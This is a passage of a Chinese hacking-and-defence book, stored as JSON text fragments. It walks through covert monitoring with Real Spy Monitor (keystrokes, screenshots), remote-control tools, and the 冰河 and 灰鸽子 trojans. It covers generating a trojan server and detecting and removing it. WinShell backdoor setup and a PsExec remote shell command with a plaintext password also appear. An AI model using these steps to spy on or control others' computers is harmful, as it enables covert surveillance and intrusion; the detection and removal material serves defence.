步骤1：单击\"Real Spy Monitor\"主窗口中的【Start Monitor】按钮，为确保程序的使用者是设置使用密码的那个用户，Real Spy Monitor将会弹出【密码输入】对话框，只有输入正确的密码后，才可能让Real Spy Monitor听从号令，如图2-106所示。 图 2-106 【密码输入】对话框 步骤2：单击【OK】按钮，即可弹出“注意”提示框，在认真阅读注意信息后，单击【OK】按钮，如图2-107所示。 图 2-107 “注意”提示框 步骤3：使用IE浏览器随便浏览一些网站后，再按所设的\"Ctrl+Alt+S\"组合键，则弹出如图2-108所示的窗口。在【密码输入】对话框中输入所设置的密码，才能够调出\"Real Spy Monitor\"主窗口，可以发现其中\"Websites Visited\"项下已有了计数，如图2-109所示。 图 2-108 查看Websites Visited计数个数 图 2-109 Websites Visited\"Report\"窗口 步骤4：在其中可以看出计数的数字为37，这表示共打开了37个网页。单击\"Websites Visited\"项中的图标后将弹出\"Report\"窗口，可看到列表里的37个网址。这就是Real Spy Monitor监控到使用IE浏览器打开的网页。 提示 如果想要深入查看相应网页是什么内容，只需要双击列表中的网址，即可自动打开IE浏览器访问的相应网页。 4.键盘输入内容监控 对键盘输入的内容进行监控通常是木马做的事，但Real Spy Monitor为了让自身的监控功能变得更加强大也提供了此功能。其针对键盘输入内容进行监控的具体操作步骤如下。 步骤1：在输入一些内容后，再按所设的\"Ctrl+Alt+S\"组合键，则会弹出如图2-108所示的窗口。在【密码输入】对话框中输入所设置的密码调出\"Real Spy Monitor\"主窗口，此时可以发现\"Keystrokes Typed\"项下已经有了计数，如图2-110所示。 图 2-110 查看Keystrokes Typed计数个数 步骤2：在其中可以看出计数的数字为15，这表示有和计数数字相同的15条记录。单击\"Keystrokes Typed\"项中的图标后，弹出\"Report\"窗口，在其中可以看到有和计数数字相同的15条记录，如图2-111所示。 图 2-111 Keystrokes Typed的\"Report\"窗口 步骤3：双击其中任意一条记录，弹出记事本窗口，在其中可以看出\"Administrator\"用户在某点某时某分输入的信息，如图2-112所示。如果用户输入了\"Ctrl\"类的快捷键，则Real Spy Monitor同样也可以捕获到，如图2-113所示。 图 2-112 查看记事本 图 2-113 捕获包含\"Ctrl\"这类的快捷键 5.程序执行情况监控 如果想知道用户都在计算机中运行哪些程序，只需在\"Real Spy Monitor\"主窗口中单击\"Programs Executed\"图标，在弹出报告对话框中可看到运行的程序名和路径，如图2-114所示。 图 2-114 Programs Executed的\"Report\"窗口 6.即时截图监控 用户可以通过Real Spy Monitor的即时截图监控功能（默认为一分钟截一次图）来查知用户的操作历史。 监控即时截图的具体操作步骤如下。 步骤1：在\"Real Spy Monitor\"主窗口单击\"Screen Snapshots\"图标，即可弹出【Reprot】对话框，在其中可看到Real Spy Monitor对系统进行的操作，如图2-115所示。 图 2-115 Screen Snapshots的\"Report\"窗口 步骤2：也可双击其中任意一项截图记录，打开Windows图片和传真查看器，可查看所截取的图，如图2-116所示。 图 2-116 查看所截取的图 显然，Real Spy Monitor的功能是极其强大的。使用它对系统进行监控，网管将会轻松得多。在一定程度上，为查看网管监控系统中是否有黑客的入侵带来了极大的方便。"},
    {"text": "未知 第3章 控制与反控制技术 重点提示 ♂远程控制经典PcAnywhere ♂用“冰河陷阱”揪出冰河木马 ♂用QuickIP进行多点控制 ♂用WinShell实现远程控制 ♂用灰鸽子实现远程管理 ♂远程控制命令PsExec ♂实现Serv-U远程控制 ♂用SyGate突破上网封锁 本章精粹： 本章介绍了远程控制的基础知识，远程控制技术的运用方法，以及黑客远程控制工具的使用技巧等内容。其中包括：远程控制经典PcAnywhere工具、冰河木马工具、灰鸽子工具、QuickIP工具等实例操作，有助于读者对远程控制技术有一个全面认识，以便预防黑客入侵。 在黑客攻击中，远程控制也是非常关键的黑客技术。控制与反控制一直是黑客与安全人员之间的一对矛盾，在相互较量中不断上演着一幕又一幕“魔高一尺，道高一丈”的好戏。"},
    {"text": "使用被控端会议功能，可建立到一个Symantec PcAnywhere被控端的多个并发远程连接。 使用PcAnywhere远程控制软件，需要同时在主控端和被控端计算机上进行安装。 1.设置PcAnywhere的性能 在主控端和被控端计算机中分别安装好PcAnywhere之后，要想真正让PcAnywhere控制远程计算机，要做的第一步工作就是配置被控端计算机。 （1）使用联机向导配置被控端 配置被控端的具体设置步骤如下。"},
    {"text": "步骤1：双击\"Symantec pcAnywhere\"图标 ，即可进入pcAnywhere窗口，如图3-1所示。 单击【主机】链接选项，即可打开【连接向导-连接方法】对话框，如图3-2所示。 图 3-1 pcAnywhere的操作窗口 图 3-2 【连接向导-连接方法】对话框 步骤2：在选择好连接方法之后，单击【下一步】按钮，即可打开【连接向导-连接模式】对话框，在其中选择“等待有人呼叫我”单选项，如图3-3所示。 图 3-3 【连接向导-连接模式】对话框 步骤3：在选择好连接模式后，单击【下一步】按钮，即可打开【连接向导-验证类型】对话框，在其中选择需要的验证类型，如选取“我想使用存在的Windows账户”单选项，如图3-4所示。 图 3-4 【连接向导-验证类型】对话框 步骤4：单击【下一步】按钮，即可打开【连接向导-选择账户】对话框，在其中选择远程登录用户所使用的本地账户，如图3-5所示。 图 3-5 【连接向导-选择账户】对话框 步骤5：继续单击【下一步】按钮，即可打开【连接向导-摘要】对话框，在其中勾选“连接向导完成后等待来自远程计算机的连接”复选框，如图3-6所示。 图 3-6 【连接向导-摘要】对话框 步骤6：单击【完成】按钮，即可关闭连接向导，同时在Windows的通知区域中显示一个 图标，表示PcAnywhere正在等待远程控制端的连接。 右击新添加的远程控制端并在打开的快捷菜单中选择【属性】菜单项，即可打开其属性对话框，如图3-7所示。 在【安全性选项】选项卡中可设置联机选项、登录选项、会话选项以及数据加密等安全策略，如图3-8所示。 图 3-7 设置选项卡 图 3-8 安全性设置 步骤7：在上述属性都配置好之后，单击【确定】按钮，即可完成被控端的设置。 右击主机图标，在快捷菜单中选择【启动主机】菜单项，主机将启动并在系统任务栏上显示一个电脑形状的图标，开始等待远程控制端进行连接。"},
    {"text": "步骤1：在【PcAnywhere管理器】任务栏中选择【远程】选项，选择【文件】→【新建项目】→【连接向导】菜单项，可打开【连接向导-连接方法】对话框，如图3-9所示。 图 3-9 选择连接方式 步骤2：在选择好连接方法之后，单击【下一步】按钮，可进入【连接向导-目标地址】对话框，在其中输入远程计算机的IP地址，如图3-10所示。 图 3-10 输入IP地址 步骤3：单击【下一步】按钮，可打开【连接向导-连接名称】对话框，在其中输入需要连接的名称，如图3-11所示。 图 3-11 输入连接名称 步骤4：单击【下一步】按钮，可打开【连接向导-摘要】对话框，勾选“连接向导完成后连接到主机计算机”复选框，再查看自己的设置是否正确。"},
    {"text": "图 3-12 完成连接向导 步骤5：右击新建的远程控制端并在快捷菜单中选择【属性】菜单项，则可打开其属性对话框，如图3-13所示。 在【设置】选项卡中可以配置远程连接选项，可以重新设置被控端计算机的IP地址，还可以勾选“一旦连接即自动登入被控端”复选框，并输入登录用户名和密码等选项，如图3-14所示。 图 3-13 连接信息设置 图 3-14 设置登录选项 在【加密】选项卡中可设置该主控端在远程控制过程中使用的加密级别，默认不加密。"},
    {"text": "可按照需要选择使用对称密钥、公钥或PcAnywhere加密方式，其中PcAnywhere加密方式将前面的两种加密技术结合在一起，具有速度和安全性两方面优点，如图3-15所示。"},
    {"text": "图 3-15 设置加密功能 在【PcAnywhere管理器】任务栏中选择【快速连接】选项之后，需要在其中输入被控主机的IP地址、计算机名称，如图3-16所示。 单击【连接】按钮，可与被控主机建立连接，在“启动模式”下拉列表中可选择“远程控制”、“远程管理”和“文件传送”等选项。"},
    {"text": "步骤1：在【PcAnywhere管理器】任务栏中选择【快速部署与连接】选项，可看到已经连接的计算机名称，如图3-17所示。 图 3-17 快速部署与联机 步骤2：双击需要连接的被控主机的计算机名称，可显示如图3-18所示的对话框。 在其中输入登录用户名和密码之后，单击【确定】按钮，可与被控主机建立连接。 图 3-18 与被控主机成功建立连接 2.用PcAnywhere进行远程控制 与被控主机连接并成功登录，就可以对被控主机进行远程控制。"},
    {"text": "在【会话管理器】任务栏中选择【远程控制】选项，即可对被控主机的桌面进行远程控制，如打开或关闭远程窗口、通过被控主机进行网页浏览等。"},
    {"text": "此外，PcAnywhere还提供同步文件夹的方式传送文件，允许用户通过自动化任务，让软件按用户设置在指定时间内连接远程计算机，进行指定的文件传输操作或同步指定文件夹。"},
    {"text": "如果要远程传送文件，则在【会话管理器】任务栏中选择【文件传送】选项，即可在被控端与主控端计算机之间进行文件传送，如图3-20所示。"},
    {"text": "在【会话管理器】任务栏中选择【结束会话】选项，在显示的对话框中单击【是】按钮，即可结束主控端与被控端之间的会话，如图3-23所示。"},
    {"text": "作为服务器的主机一般会打开一个默认的端口并进行监听（Listen），如果有客户机向服务器的这一端口提出连接请求（Connect Request），服务器上的相应程序就会自动运行，来应答客户机的请求。"},
    {"text": "1.冰河陷阱概述 对于冰河，被控制端就成为一台服务器，控制端则是一台客户机，G_server.exe是守护进程，G_client是客户端应用程序。 “冰河”木马采用标准的C/S（Client/Server，客户/服务器）结构，包括客户端程序（G_Client）和服务器端程序（G_Server）。"},
    {"text": "2.清除冰河木马 检测“冰河”木马的最直接、有效的方法就是使用\"netstat-a\"命令来查看目标主机的网络连接情况，如果发现端口7626开放，这台计算机很可能是已经中了冰河木马。 反之，如果端口7626没有开放，但却发现有其他的可疑端口开放了，这时候就可以在目标主机中查找Kernel32.exe或sysexplr.exe文件，如果在Windows的系统目录中存在这两个文件，如图3-24所示，则表明该计算机中了“冰河”木马。 清除“冰河”木马的方法有如下两种。 （1）使用控制端程序进行卸载 使用冰河自带的卸载功能很容易完成对控制端的卸载工作。"},
    {"text": "图 3-24 查找Kernel32.exe或sysexplr.exe文件 步骤1：在“冰河”的客户端程序主窗口中，选择【命令控制台】→【控制类命令】→【系统控制】菜单项，即可在打开窗口中看到【自动卸载冰河】按钮，如图3-25所示。 图 3-25 使用自动卸载功能 步骤2：单击【自动卸载冰河】按钮，可打开【确认要卸载冰河】提示框，提示用户是否将远程计算机上的“冰河”彻底清除，如图3-26所示。 单击【是】按钮，可将目标计算机中的冰河清除。 图 3-26 【确认要卸载冰河】提示框 （2）清理注册表 一旦运行了冰河服务端程序，“冰河”木马就会在C:\\Windows\\system32目录下生成kernel32.exe和sysexplr.exe并删除自身。"},
    {"text": "步骤1：在“注册表编辑器”窗口中展开HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run分支和HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices分支后，查看两处是否有同名可疑程序名（默认安装为kernel32.exe或kernel32.dll），有则删除，如图3-27所示。"},
    {"text": "图 3-27 冰河的启动键值 步骤2：由于冰河服务端程序有自我保护设置，用可执行文件SYSEX PLR.EXE关联了TXT文件或EXE文件。 因此，当服务端的程序KERNE L32.EXE被删除后，如果打开TXT文件或运行EXE文件，就会发现TXT或EXE的关联文件SYSEXPLR.EXE会再次把“冰河”服务端程序KERNEL32.EXE安装到Windows的系统目录中。"},
    {"text": "步骤1：在Windows资源管理器中打开【文件夹选项】对话框，选择【文件类型】选项卡“已注册的文件类型”列表框中的“TXT文本文档”选项，如图3-28所示。 图 3-28 【编辑文件类型】对话框 步骤2：单击【高级】按钮，即可打开【编辑文件类型】对话框，如图3-29所示。 图 3-29 【文件类型】选项卡 步骤3：在【操作】列表框中选择\"Open\"并单击【编辑】按钮，即可打开【编辑这种类型的操作：文本文档】对话框，如图3-30所示。"},
    {"text": "如果“用于执行操作的应用程序”文本框中不是\"Notepad.exe%1\"，而是\"D:\\WINNT\\System32\\Sysexplr.exe%1\"（在Windows 9x/2000/XP中类似），则把这项内容改为\"Notepad.exe%1\"。"},
    {"text": "图 3-31 修改注册表 提示 最好不要急于先修改注册表，因为如果这时候就对注册表进行修改，则“冰河”服务端程序sysexplr.exe的进程立刻就会把它给改回来。 步骤2：保持注册表管理器打开，按\"Ctrl+Alt+Del\"组合键并在【任务管理器】中找到Sysexplr.exe进程，选中后再单击【结束进程】按钮来关掉这个进程。 步骤3：把HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\exefile\\shell\\open\\command\\的键值由原来的D:\\WlNDOWS\\System32\\Sysexplr.exe\"%1\"%*改为\"%1\"%*。 步骤4：最后删除D:\\WINDOWS\\System32\\目录下的Sysexplr.exe就可以了。 应该在修改注册表后再删除可疑程序，否则对方如果将“冰河”设置为与EXE文件关联，那自己就连运行注册表编辑器的机会都没有了。 另外，在修改注册表时可能已启动了与EXE文件关联的“冰河”，而“冰河”在正常关闭时将会再次修改注册表。"},
    {"text": "由于“冰河”调用了7626端口，因此，默认情况下“冰河陷阱”将自动监听7626端口，如果需改变“冰河陷阱”的监听端口，则选择【设置】→【设置监听端口】菜单项，在【设置监听端口】对话框中输入要修改的端口号，如图3-32所示。 图 3-32 设置监听端口 选择【文件】→【打开陷阱】菜单项，“冰河陷阱”将完全模拟真正的“冰河”服务端程序对入侵者的控制命令进行响应。 比如被入侵主机原有3个驱动器，但“冰河陷阱”在启动后，黑客在控制端只能看到“冰河陷阱”模拟出的两个硬盘驱动器，而原有的3个驱动器将不会显示出来，如图3-33所示。"},
    {"text": "“冰河陷阱”甚至还会模拟出“虚拟屏幕”供黑客使用冰河的“查看屏幕”等功能时调用，这些功能设计都大大提高了“冰河陷阱”以假乱真的效果，如图3-34所示。 图 3-34 模拟出的屏幕显示 当有入侵者通过“冰河”客户端连接到“冰河陷阱”所伪装的服务端程序上时，可以在系统托盘中看到“冰河陷阱”图标不断闪烁报警，同时还有声音。 双击图标打开“冰河陷阱”主界面，在列表中可以看到入侵者的IP地址、所在地以及登录密码和详细的操作过程。"},
    {"text": "未知 第20招 用QuickIP进行多点控制 如果想尝试一下“一台计算机同时管理和控制多台计算机、多台计算机也同时管理一台计算机”这样的“多点”控制，QuickIP无疑是一个很好的选择。QuickIP可用于服务器管理、远程资源共享、网吧机器管理、远程办公、远程教育、排除故障和远程监控等多种应用场合。QuickIP可运行在Windows 9X/Me/NT/2000/XP等系统上。 1.设置QuickIP服务器端 由于QuickIP是将服务器端与客户端合并在一起的，所以无论在哪台计算机中都是一起安装服务器端和客户端，这也是实现一台服务器可以同时被多个客户机控制、一个客户机也可以同时控制多个服务器的前提条件。配置QuickIP服务器端的具体操作步骤如下。 步骤1：在程序安装完毕之后，需要先配置服务器端，在最后一步时只选中【立即运行QuickIP服务器】复选框并单击【完成】按钮，如图3-35所示。 图 3-35 勾选“立即运行QuickIP服务器”项 步骤2：为了实现安全的密码验证登录，QuickIP设定客户端必须知道服务器的登录密码才能进行登录控制。因此，QuickIP服务器端运行前会弹出一个设置密码提示框，要求立即设置一个密码，如图3-36所示。 图 3-36 设置密码的提示框 步骤3：单击【确定】按钮，即可打开【修改本地服务器的密码】对话框，在“新密码”文本框和“重输新密码”文本框中输入两次相同的密码，如图3-37所示。单击【确定】按钮，即可看到密码已经设定成功了。 图 3-37 输入两次相同的密码 步骤4：此时就可以看到QuickIP的服务器管理窗口了，从右侧提示信息中可以看到“服务器启动成功”的字样，如图3-38所示。 图 3-38 QuickIP的服务器管理窗口 2.设置QuickIP客户端 客户端的设置就相对简单了，具体的操作步骤如下。 步骤1：单击工具栏中的【添加主机】按钮添加服务器，在弹出对话框的“主机”文本框中输入远程计算机的IP地址，在“端口”和“密码”文本框中输入在服务器端设置的信息，如图3-39所示。 图 3-39 添加远程主机 步骤2：单击【确定】按钮，稍后就可以在客户端窗口中的“远程主机”下看到刚刚添加的IP地址了，单击该IP地址后，从展开的控制功能列表中可看到远程控制功能十分丰富，这表示客户端与服务器端的连接已经成功了，如图3-40所示。 图 3-40 远程主机的控制功能列表 3.实现远程控制 下面来看看如何进行远程控制（鉴于QuickIP的强大功能，只讲几个比较常用的控制操作），具体操作步骤如下。 步骤1：单击【远程磁盘驱动器】选项，即可看到远程计算机中的所有驱动器，如图3-41所示。在尝试单击光驱（这里为E盘）后，可以发现当前光驱的驱动盘符。显然，QuickIP对远程计算机光驱具有很好的控制能力。 图 3-41 查看远程驱动器 步骤2：如图3-42所示，单击【远程控制】选项下的【屏幕控制】选项，即可在稍后弹出的窗口中看到远程计算机桌面，可以在该窗口中通过鼠标和键盘来完成对远程计算机的控制。 图 3-42 远程屏幕控制 步骤3：如果远程计算机出现速度忽然缓慢等情况，则可以通过单击【远程主机进程列表】选项，查看远程计算机进程来快速诊断远程计算机的问题所在。 步骤4：如果对远程计算机的操作已经结束，为了安全起见就应该关闭远程计算机了。单击如图3-43所示【远程控制】下的【远程关机】项，在弹出对话框中单击【是】按钮。 图 3-43 远程关机 限于篇幅，本书无法将该软件的远程控制功能详细讲述，但通过上述的远程控制应用，可以看出，QuickIP远程控制功能十分强大，是网管和有远程控制需求用户的好帮手。"},
    {"text": "未知 第21招 用WinShell实现远程控制 WinShell是一个运行在Windows平台上的Telnet服务器软件，主程序是一个仅仅6KB大小的EXE文件，可完全独立执行而不依赖于任何系统动态链接库，尽管它体积很小，功能却十分强大，支持定制端口、密码保护、多用户登录、NT服务方式、远程文件下载、信息自定义及独特的反DDOS等功能。 1.配置WinShell 默认状态下，定制WinShell的主程序会生成一个压缩过的体积很小的WinShell服务端，当然也可以不选择，而使用其他压缩或保护程序对生成的WinShell服务端进行处理。 在安装并运行WinShell之后，就可以根据自己要求配置服务器端了，如图3-44所示。 图 3-44 配置服务器端 具体操作步骤如下。 步骤1：在“监听端口”文本框中设置即将生成的服务器端运行后的端口号，默认为5277。再设置登录服务器端时需要的密码，默认为无密码。 注意“连接密码返回信息”选项是登录WinShell时要求输入密码的提示信息，默认为\"Password:\"，可设置为空，表示无提示信息。 步骤2：设置服务器端在系统中以服务方式运行时的服务名称，默认为WinShell。“注册键值”项是指在Windows 9x系统中安装WinShell时，为了在系统启动后能自动运行，WinShell写在注册表路径HKEY_LOCAL_MACHINE\\SOFTWARE\\Micro soft\\Windows\\CurrentVersion\\Run处的字符串名，默认为WinShell，其值也为字符串类型，如\"C:\\windows\\winshell.exe\"。 步骤3：在【显示名称】文本框中选择默认值WinShell Service之后，下方的【功能选项】描述项是指显示在NT服务列表中说明服务具体功能的字符串，默认为\"Provide Windows Shell Service\"。 步骤4：勾选“自动安装”复选框后，就可以设置当WinShell运行时自动安装本身了。 步骤5：设置完毕之后，单击【生成】按钮让WinShell的主程序生成一个压缩过的体积很小的WinShell服务端，稍后将自动弹出一个如图3-45所示的文本文件，从中可以看到生成的服务器端的配置信息。 图 3-45 生成的服务器端的配置信息 步骤6：查看生成的服务器端文件大小，将会发现服务器端程序大小不足6KB，如图3-46所示。由于这里设计WinShell是做一个非常小巧方便的Telnet服务器软件，而不是木马程序，所以WinShell的进程并没有隐藏，如图3-47所示（这里也只是在服务器上运行）。 图 3-46 查看生成服务器端文件大小 图 3-47 查看WinShell进程 步骤7：在配置完服务器端程序并在指定计算机中运行之后，就可以使用Telnet命令与远程计算机进行连接，执行\"Telnet xxx.xxx.xxx.xxx 5277\"并输入正确的密码（如果需要的话）后即可成功登录，命令格式为“Telnet服务器IP 5277”。 步骤8：在登录后，需要在命令行中输入“?”并按Enter键查看可以操作的命令，如图3-48所示。通过反馈信息得知可以使用哪些命令。 图 3-48 显示的反馈信息 显然，服务器端的制作是十分简单的，而对系统资源的占用却是很小的，加之操作命令并不复杂，因此，需要进行远程管理的朋友可尝试使用WinShell来完成任务。 2.实现远程控制 当配置好WinShell服务器并在被控端计算机中运行后，用户可在主控端计算机中利用“命令提示符”窗口输入有关Telnet命令与远程计算机建立连接，并进行控制。 具体的操作方法如下。 步骤1：将已配置好的WinShell服务器端复制到远程计算机中并运行。在主控端计算机“命令提示符”窗口中运行“Telnet服务器IP 5277”命令，即可成功连接，如图3-49所示。 图 3-49 成功建立连接 步骤2：执行“?”命令，即可查看WinShell的所有命令参数，如图3-50所示。 图 3-50 WinShell命令参数 步骤3：执行\"s\"命令，将显示远程计算机的盘符信息，如图3-51所示。此时主控端就可以控制远程计算机了。 图 3-51 Telnet服务 WinShell命令参数及其功能如下： i Install：远程安装功能。 r Remove：远程反安装功能，此命令并不终止WinShell的运行。 p Path：查看WinShell主程序的路径信息。 b reBoot：重新启动远程计算机。 d shutdown：关闭远程计算机。 s Shell：WinShell提供的Telnet服务功能。 x exit：退出本次登录会话，但此命令不终止WinShell的运行。 q quit：终止WinShell的运行，此命令不反安装WinShell。"},
    {"text": "未知 第22招 用灰鸽子实现远程管理 灰鸽子作为一款国产优秀的远程控制软件，它有着强大的远程控制功能，“灰鸽子”远程控制软件使用“反弹端口”技术与客户端进行连接，则解决了这一问题，同时也解决了无法了解主机动态IP地址的问题，使得局域网内部的计算机也可以进行远程控制。"},
    {"text": "1.生成木马的服务端 “灰鸽子”分为“客户端”和“服务端”两个部分，它与“冰河”不同的是其“服务端”需要在使用前通过“客户端”来配置生成。"},
    {"text": "步骤1：将下载的压缩包解压后，双击“灰鸽子2008.exe”程序，即可进入其操作界面，如图3-52所示。 图 3-52 “灰鸽子2008”主窗口 步骤2：单击【配置服务程序】按钮，即可打开【服务器配置】对话框。"},
    {"text": "图 3-53 【服务器配置】对话框 步骤3：在“安装选项”标签中可选择运行服务器程序后的有关选项，如图3-54所示。 图 3-54 “安装选项”标签页 步骤4：在“启动选项”标签中可选择是否将服务端程序信息写入系统注册表等选项中，如图3-55所示。"},
    {"text": "图 3-57 安装成功提示 2.查看控制效果 将这个程序在要控制的计算机上运行，当这台计算机与Internet连接或通过局域网中其他计算机与Internet连接时，就会自动与“客户端”连接，就可以看到远程计算机的IP地址已经显示在了“自动上线主机”下了，如图3-58所示。 图 3-58 与被控端连接 连接成功后可以在远程主机上执行命令，对远程主机进行文件管理，上传、下载文件，修改远程主机的注册表等操作了，如图3-59所示。"},
    {"text": "图 3-59 对文件进行管理 3.禁止灰鸽子服务 灰鸽子服务器端在运行后将会自动在系统服务中生成一个名为\"Hgzserver\"的服务，如果将其关闭则会中止灰鸽子的运行。"},
    {"text": "步骤1：在【运行】对话框的运行栏中输入\"Services.msc\"命令，即可打开“服务”窗口，在其中将会看到灰鸽子服务，如图3-60所示。 图 3-60 “服务”窗口 步骤2：双击该服务项后，在属性对话框中单击【停止】按钮，再将“启动类型”设置为“已禁用”项即可，如图3-61所示。 图 3-61 【属性】对话框 4.灰鸽子的手工清除 灰鸽子远程监控软件分为客户端和服务端两部分，黑客通过在客户端进行配置，生成一个服务端程序之后，再通过多种渠道来传播这个服务端（俗称种植木马），下面介绍两种清除灰鸽子的方法。 （1）手工检测 因为灰鸽子拦截了API调用，在正常模式下服务端程序文件和其注册的服务项均被隐藏，也就是说，用户即使设置了“显示所有隐藏文件”也看不到它们。"},
    {"text": "步骤1：在系统重启并进入Windows系统启动画面之前，按\"F8\"键（或在启动系统时按住\"Ctrl\"键不放），在启动选项菜单中选择\"Safe Mode\"启动项或“安全模式”启动项。"},
    {"text": "在“我的电脑”窗口中选择【工具】→【文件夹选项】菜单项，即可打开【文件夹选项】对话框，在“查看”选项卡中取消勾选“隐藏受保护的操作系统文件”复选框，如图3-62所示。 图 3-62 【文件夹选项】对话框 步骤3：选择【开始】→【搜索】→【文件或文件夹】菜单项，即可打开“搜索结果”窗口，在“文件名称”文本框中输入\"*_hook.dll\"后，搜索位置选择C盘，如图3-63所示。"},
    {"text": "图 3-63 【搜索结果】窗口 步骤4：单击【搜索】按钮，即可在Windows目录（不包含子目录）下发现灰鸽子的木马程序文件，如Huigezi_Hook.dll文件。 步骤5：根据灰鸽子原理分析可知，如果Hmage_Hook.dll是灰鸽子的文件，则在安装目录下还会有Huigezi.exe和Huigezi.dll文件。 打开Windows系统的安装目录，果然发现这两个文件，同时还有一个用于记录键盘操作的HuigeziKey.dll文件。 经过上述操作之后，基本上均可确定这些文件是灰鸽子服务端程序，所以用户只要手动清除这些程序就可以了（为防止操作失误而引起的麻烦，清除前一定要做好备份）。"},
    {"text": "（2）手工清除 经过上面的分析，清除灰鸽子就很容易了。 清除灰鸽子仍然要在安全模式下操作，主要有两步：清除灰鸽子的服务和删除灰鸽子程序文件。 清除灰鸽子服务的具体操作步骤如下。"},
    {"text": "图 3-64 【查找】对话框 步骤3：单击【查找下一个】按钮，即可找到“灰鸽子”木马的服务项，将其所关联的整个注册表项删除。 删除灰鸽子程序文件非常简单，只需在安全模式下，删除Windows文件夹中Huigezi.exe、Huigezi.dll、Huigezi_Hook.dll以及HuigeziKey.dll文件后重启系统即可。"},
    {"text": "未知 第23招 远程控制命令PsExec PsExec也是一个Telnet的工具，无需手动安装客户端软件即可执行其他系统上的进程，并且可以获得与控制台应用程序相当的完全交互性。PsExec为管理员提供了方便的命令行方式的管理，用户可以像使用Telnet一样使用它。 1.PsExec命令概述 安装PsExec时需将PsExec复制到可执行路径，输入\"psexec\"可显示其使用语法。 Psexec[\\\\computer[,computer2[,……]|@file][-u user[-p psswd]][-n s][-l][-s|-e][-x][-i[session]][-c[-f|-v]][-w directory][-d][-][-a n,n.……]cmd[arguments] Computer：指示PsExec在指定的一台或多台计算机上运行应用程序。如果省略计算机名称，则PsExec将在本地系统上运行应用程序；如果输入计算机名称“\\\\*”，则PsExec将在当前域中的所有计算机上运行应用程序。 @file：指示PsExec在指定的文本文件中列出的每台计算机上运行命令。 -a：用逗号分隔可以运行应用程序的处理器，CPU编号最小为1。例如，要在CPU 2和CPU 4上运行应用程序，请输入：\"-a 2，4\"。 -C:将指定的程序复制到远程系统以便执行。如果省略此选项，则应用程序必须位于远程系统上的系统路径中。 -d：不等待应用程序终止。只能对非交互式应用程序使用此选项。 -e：不加载指定帐户的配置文件。 -f：将指定的程序复制到远程系统，即使远程系统中已存在该文件。 -i：运行程序，使它与远程系统中指定会话的桌面进行交互。如果未指定会话，则进程将在控制台会话中运行。 -l：以受限用户身份（去除Administrators组的权限，并且只允许使用分配给Users组的权限）运行进程。在Windows Vista上，此进程将以“低完整性”运行。 -n：指定与远程计算机连接的超时（秒）。 -p：指定用户名的密码（可选）。如果省略此选项，系统将提示您输入隐藏密码。 -s：在系统帐户中运行远程进程。 -u：指定用于登录远程计算机的可选用户名。 -v：仅在指定文件具有更高版本号或该文件比远程系统上的文件新时复制该文件。 -w：设置进程的工作目录（相对于远程计算机）。 -x：在Winlogon桌面上显示UI（仅限于本地系统）。 -priority：指定-low、-belownormal、-abovenormal、-high或-realtime按不同优先级运行进程。 program：要执行的程序的名称。 arguments：要传递的参数（注意文件路径必须是目标系统中的绝对路径）。 对于其名称中含有空格的应用程序，可在其两侧加引号，如psexec\\\\marklap\"C:\\long name\\app.exe\"。按【Enter】键时仅将输入内容传递到远程系统。按\"Ctrl+C\"组合键可终止远程进程。如果省略用户名，则远程进程将以执行PsExec时所使用的相同账户运行。 2.应用实战 在对Psexec工具有了进一步了解后，下面讲述使用Psexec进行各种操作时的具体过程。步骤1：进入Telnet操作状态。若想要用Telnet一样在远程系统上执行命令，则输入\"psexec\\\\192. 168.0.16-u administrator-p\"shining0924\"cmd\"命令，便可在本地机上打开远程主机192.168.0.16上的命令行Shell，如图3-65所示。在该命令行Shell中输入的命令会在远程主机上直接执行，就实现了与Telnet登录同样的功能。 图 3-65 进入Telnet操作状态 步骤2：执行本地程序。如果想要远程机执行本地C:\\rav2009.exe文件，则可以输入\"Psexec\\\\192.168.0.16-u administrator-p shining0924-c C:\\rav2009.exe\"命令即可。如图3-66所示。 图 3-66 执行本地程序 步骤3：启动远程服务。如果想要让远程机器执行本地上的TFTP服务端，（假设TFTP服务端在本地C:\\TFTP.exe），则应输入“psexec\\\\远程机器ip-u administrator-p shining0924-c C:\\tftp32.exe-d”命令。"},
    {"text": "未知 第24招 实现Serv-U远程控制 Serv-U除拥有其他FTP服务器端同类软件所具备的大部分功能外，还支持断点续传、带宽限制、远程管理、远程打印、虚拟主机等。 当用户使用Serv-U创建自己的FTP服务器后，将自己的一些学习资料放上去，只要能够联网，就可以随时随地进行网上信息的使用了。 1.配置服务端 下载Serv-U软件包并解压后，还需要对其进行相应地配置，才可以建立自己的FTP服务器。"},
    {"text": "具体配置Serv-U的操作步骤如下。 步骤1：在如图3-67所示中双击\"Serv-U-Tray\"应用程序图标，即可进入“Serv-U管理控制台”主窗口，在其中选择任意一项进行相应设置，如图3-68所示。 图 3-67 “Serv-U解压后的文件”窗口 图 3-68 “Serv-U管理控制台”主窗口 步骤2：单击【新建域】按钮，即可打开【域向导-步骤1】对话框，在“名称”文本框中输入新建域的名称，可以随便起名字，反正是内网共享，无须域名转换；"},
    {"text": "图 3-69 【域向导-步骤1】对话框 步骤3：单击【下一步】按钮，即可打开【域向导-步骤2】对话框，在其中指定用户访问该域所用的协议及端口，如图3-70所示。"},
    {"text": "步骤4：单击【下一步】按钮，即可打开【域向导-步骤3】对话框，在“IP地址”框中输入指定用于连接该域的物理地址（如：192.168.0.16）。"},
    {"text": "图 3-71 【域向导-步骤3】对话框 步骤5：单击【完成】按钮，即可弹出“创建用户”提示框，访问是否创建用户账户等信息，如果不需要创建，选择【否】按钮，如图3-72所示。 图 3-72 “创建用户”提示框 步骤6：单击【是】按钮，即可弹出“是否要使用向导创建用户”提示框，如图3-73所示。 单击【是】按钮，即可打开【用户向导-步骤1】对话框，在“用户名”文本框中输入账户的唯一用户名。"},
    {"text": "图 3-73 “是否要使用向导创建用户”提示框 图 3-74 【用户向导-步骤1】对话框 步骤7：单击【下一步】按钮，即可打开【用户向导-步骤2】对话框，在“密码”文本框中输入访问该账户时指定的密码。"},
    {"text": "图 3-75 【用户向导-步骤2】对话框 步骤8：单击【下一步】按钮，弹出【用户向导-步骤3】对话框，用于指定账户的根目录，根目录是登录成功时用户账户在服务器硬盘（或可访问的网络资源）上所处的位置。"},
    {"text": "图 3-76 【用户向导-步骤3】对话框 步骤9：单击【下一步】按钮，将打开【用户向导-步骤4】对话框，在其中设置访问的权限（如选择“只读访问”），如图3-77所示。"},
